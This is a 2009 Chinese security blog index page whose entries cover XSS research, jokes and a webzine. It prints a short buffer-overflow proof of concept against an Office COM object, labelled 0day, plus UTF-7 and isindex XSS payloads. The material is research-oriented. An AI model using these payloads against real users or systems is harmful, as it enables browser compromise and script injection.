ShadowHider's Blog

文章列表

[zz]第二回：IE執行模式 vs 跨網站腳本漏洞（XSS）

2009-07-02 14:10

Web、HTML、CSS、各家瀏覽器，都在持續演進著，以資安的觀點來看，演進的過程中包含了許多為了修補當初不安全設計而做得努力。IE，現在已經到IE 8了。

本文續「誰在看我的噗？第一回：DOM沙盒 vs 跨網站腳本漏洞（XSS）」。

許多朋友透過email/msn/plurk問我，這個攻擊為何說IE<=7才能觸發？其實這個問題不是三言兩語解釋得清楚，所以我只在文中寫IE& lt;=7，不想讓已經很長的一篇變得更長，但沒想

阅读全文>>

类别：Xss | 评论(4) | 浏览()

[zz]第一回：DOM沙盒 vs 跨網站腳本漏洞（XSS）

2009-06-28 23:22

sH:阿碼科技在blogspot上写的，鉴于国内的和谐性，于是乎转载来方便大众。

上星期天下午，下大雨，沒法出去，隨手開了Plurk，想到了Plurk之前公開的「XSS挑戰」，只要找到漏洞，證明並回報的噗友，就有Plurk hacker勳章可以拿，之前我

阅读全文>>

类别：Xss | 评论(1) | 浏览()

新装备入手...

2009-06-21 13:19

关于前面那篇纯属骗流量的：当时在一老外blog上闲逛，发现了那个东东，虽然是老东西了，但是是个写的很标准的POC，而且里面变量的名字和我喜欢用的ID:sH竟然一样，忽忽，就记录在这备用了。
PS：标题也是直接粘过来的，估计大家都是被(0day)给拉过来的。

----------------------------------------------------------------------------------------------------------------------------------------
话说昨天去爱博

阅读全文>>

类别：闲扯 | 评论(13) | 浏览()

Microsoft Office MSODataSourceControl COM-object BoF PoC (0day)

2009-06-17 16:34

<html>
<object id=ctl
classid="clsid:{0002E55B-0000-0000-C000-000000000046}"></object>
<script language="javascript">
var sH = 'AAAA';
while (sH.length <= 256) sH+=sH;
ctl.DeleteRecordSourceIfUnused(sH);
</script>
</html>

类别：0day | 评论(1) | 浏览()

UTF-7 XSS Cheat Sheet

2009-06-14 13:05

基本样式

+ADw-script+AD4-alert(document.location)+ADw-/script+AD4-

<script>alert(document.location)</script>

UTF-7 XSS的最基本的样式。

URL encoded 转换后的样式

阅读全文>>

类别：Xss | 评论(2) | 浏览()

我的青春谁做主经典语录

2009-06-13 20:30

1 收银员说：没零钱了，找你两个塑料袋吧。
2、别跟我谈感情，多伤钱哪！
3、我诅咒你一辈子买方便面没有调料包！
4、世界上有两种人，一种是懂二进制的，一种不懂。
5、虽然你身上喷了古龙水, 但我还是能隐约闻到一股人渣味儿。
6、我这辈子只有两件事不会，就是这也不会那也不会。
7、我想我是太久没吃鸡肉了...不然为什么昨天看见鸡毛掸子---居然有点激动?
8、抽，是一种生活艺术；找抽，是一种生活态度。
9、我的人生有A面也有B面你的人生有S面也有B

阅读全文>>

类别：闲扯 | 评论(2) | 浏览()

Get latest 10 remote exploits from milw0rm

2009-06-06 17:21

<script type="text/javascript">

var feed_Module1 = 'http://milw0rm.com/js/3.0/remote.php'
var table_border_Module1 = '0' // table borde

阅读全文>>

类别：编程相关 | 评论(0) | 浏览()

忽然想起来...

2009-05-20 20:21

貌似没什么人提过的标签:
<isindex action=javascript:alert(1) type=image>
在XSS的世界里尽情的游吧~

类别：Xss | 评论(5) | 浏览()

记录下，以后写什么不够字用来凑字用~

2009-05-09 20:12

Ratproxy评估、web跨站脚本漏洞风险的标准：

ECHO ：Query parameters echoed back / not echoed in HTTP response, respectively

输出：请求的参数或查询的内容是否在HTTP响应里返回输出过。

PRED：Request URL or

阅读全文>>

类别：网络安全 | 评论(0) | 浏览()

Ph4nt0m Webzine [0x03]

2009-05-05 19:24

盼星星盼月亮的终于盼来了,哇卡卡~~
这回在学校有事干了。
刚粗略的看了下，茄子，刺牛和luoluo巨牛的那几篇超赞啊，细细研读中.....

余弦，哪天去虐你们乒乓~~~

类别：闲扯 | 评论(10) | 浏览()